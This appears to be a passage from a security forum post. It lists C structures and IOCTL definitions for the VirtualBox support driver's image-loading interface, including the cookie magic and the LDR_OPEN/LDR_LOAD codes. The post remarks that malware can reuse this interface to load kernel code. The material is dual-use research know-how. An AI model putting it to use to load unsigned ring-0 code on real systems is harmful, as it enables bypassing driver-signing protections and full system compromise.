typedef enum SUPLDRLOADEP
{
    SUPLDRLOADEP_NOTHING = 0,
    SUPLDRLOADEP_VMMR0,
    SUPLDRLOADEP_SERVICE,
    SUPLDRLOADEP_32BIT_HACK = 0x7fffffff
} SUPLDRLOADEP;

typedef struct SUPSETVMFORFAST
{
    /** The header. */
    SUPREQHDR               Hdr;
    union
    {
        struct
        {
            /** The ring-0 VM handle (pointer). */
            PVOID           pVMR0;
        } In;
    } u;
} SUPSETVMFORFAST, *PSUPSETVMFORFAST;

typedef struct SUPLDRLOAD
{
    /** The header. */
    SUPREQHDR               Hdr;
    union
    {
        struct
        {
            /** The address of module initialization function. Similar to _DLL_InitTerm(hmod, 0). */
            PVOID pfnModuleInit;
            /** The address of module termination function. Similar to _DLL_InitTerm(hmod, 1). */
            PVOID pfnModuleTerm;
            /** Special entry points. */
            union
            {
                /** SUPLDRLOADEP_VMMR0. */
                struct
                {
                    /** The module handle (i.e. address). */
                    RTR0PTR                 pvVMMR0;
                    /** Address of VMMR0EntryInt function. */
                    RTR0PTR                 pvVMMR0EntryInt;
                    /** Address of VMMR0EntryFast function. */
                    RTR0PTR                 pvVMMR0EntryFast;
                    /** Address of VMMR0EntryEx function. */
                    RTR0PTR                 pvVMMR0EntryEx;
                } VMMR0;
                /** SUPLDRLOADEP_SERVICE. */
                struct
                {
                    /** The service request handler.
                     * (PFNR0SERVICEREQHANDLER isn't defined yet.) */
                    RTR0PTR                 pfnServiceReq;
                    /** Reserved, must be NIL. */
                    RTR0PTR                 apvReserved[3];
                } Service;
            }               EP;
            /** Address. */
            RTR0PTR         pvImageBase;
            /** Entry point type. */
            SUPLDRLOADEP    eEPType;
            /** The offset of the symbol table. */
            uint32_t        offSymbols;
            /** The number of entries in the symbol table. */
            uint32_t        cSymbols;
            /** The offset of the string table. */
            uint32_t        offStrTab;
            /** Size of the string table. */
            uint32_t        cbStrTab;
            /** Size of image (including string and symbol tables). */
            uint32_t        cbImage;
            /** The image data. */
            char            achImage[1];
        } In;
    } u;
} SUPLDRLOAD, *PSUPLDRLOAD;


#define RT_SIZEOFMEMB(type, member) ( sizeof(((type *)(void *)0)->member) )
#define SUPCOOKIE_INITIAL_COOKIE                        0x69726f74 /* 'tori' */
#define SUP_IOCTL_COOKIE_SIZE_IN                        sizeof(SUPREQHDR) + RT_SIZEOFMEMB(SUPCOOKIE, u.In)
#define SUP_IOCTL_COOKIE_SIZE_OUT                       sizeof(SUPREQHDR) + RT_SIZEOFMEMB(SUPCOOKIE, u.Out)

#define SUP_IOCTL_FLAG     128

#define SUP_CTL_CODE_SIZE(Function, Size)      CTL_CODE(FILE_DEVICE_UNKNOWN, (Function) | SUP_IOCTL_FLAG, METHOD_BUFFERED, FILE_WRITE_ACCESS)
#define SUP_CTL_CODE_BIG(Function)             CTL_CODE(FILE_DEVICE_UNKNOWN, (Function) | SUP_IOCTL_FLAG, METHOD_BUFFERED, FILE_WRITE_ACCESS)
#define SUP_CTL_CODE_FAST(Function)            CTL_CODE(FILE_DEVICE_UNKNOWN, (Function) | SUP_IOCTL_FLAG, METHOD_NEITHER,  FILE_WRITE_ACCESS)
#define SUP_CTL_CODE_NO_SIZE(uIOCtl)           (uIOCtl)

/** The magic value. */
#define SUPREQHDR_FLAGS_MAGIC                           UINT32_C(0x42000042)
/** The default value. Use this when no special stuff is requested. */
#define SUPREQHDR_FLAGS_DEFAULT                         SUPREQHDR_FLAGS_MAGIC
#define VERR_INTERNAL_ERROR                 (-225)
#define SUPCOOKIE_MAGIC                                 "The Magic Word!"
#define SUPDRV_IOC_VERSION                              0x001a0007
/** The request size. */
#define SUP_IOCTL_COOKIE_SIZE                           sizeof(SUPCOOKIE)
/** Negotiate cookie. */
#define SUP_IOCTL_COOKIE                                SUP_CTL_CODE_SIZE(1, SUP_IOCTL_COOKIE_SIZE)

/** There is extra input that needs copying on some platforms. */
#define SUPREQHDR_FLAGS_EXTRA_IN                        UINT32_C(0x00000100)
/** There is extra output that needs copying on some platforms. */
#define SUPREQHDR_FLAGS_EXTRA_OUT                       UINT32_C(0x00000200)

/** @name SUP_IOCTL_SET_VM_FOR_FAST
 * Set the VM handle for doing fast call ioctl calls.
 * @{
 */
#define SUP_IOCTL_SET_VM_FOR_FAST                       SUP_CTL_CODE_SIZE(19, SUP_IOCTL_SET_VM_FOR_FAST_SIZE)
#define SUP_IOCTL_SET_VM_FOR_FAST_SIZE                  sizeof(SUPSETVMFORFAST)
#define SUP_IOCTL_SET_VM_FOR_FAST_SIZE_IN               sizeof(SUPSETVMFORFAST)
#define SUP_IOCTL_SET_VM_FOR_FAST_SIZE_OUT              sizeof(SUPREQHDR)
#define SUP_IOCTL_FAST_DO_NOP							SUP_CTL_CODE_FAST(66)

#define SUP_IOCTL_LDR_OPEN                              SUP_CTL_CODE_SIZE(5, SUP_IOCTL_LDR_OPEN_SIZE)
#define SUP_IOCTL_LDR_OPEN_SIZE                         sizeof(SUPLDROPEN)
#define SUP_IOCTL_LDR_OPEN_SIZE_IN                      sizeof(SUPLDROPEN)
#define SUP_IOCTL_LDR_OPEN_SIZE_OUT                     (sizeof(SUPREQHDR) + RT_SIZEOFMEMB(SUPLDROPEN, u.Out))

#define SUP_IOCTL_LDR_LOAD                              SUP_CTL_CODE_BIG(6)
#define SUP_IOCTL_LDR_LOAD_SIZE(cbImage)                RT_UOFFSETOF(SUPLDRLOAD, u.In.achImage[cbImage])
#define SUP_IOCTL_LDR_LOAD_SIZE_IN(cbImage)             RT_UOFFSETOF(SUPLDRLOAD, u.In.achImage[cbImage])
#define SUP_IOCTL_LDR_LOAD_SIZE_OUT                     sizeof(SUPREQHDR)
As you can see it pretty much simple and can be re-used by malware, just like vulnerable Adobe flash player was abused for years by Sirefef.

Credits to R136a1, 0x16/7ton and MP_ART.
  • 1
  • 2
  • 3
  • 4
  • 5
  • 7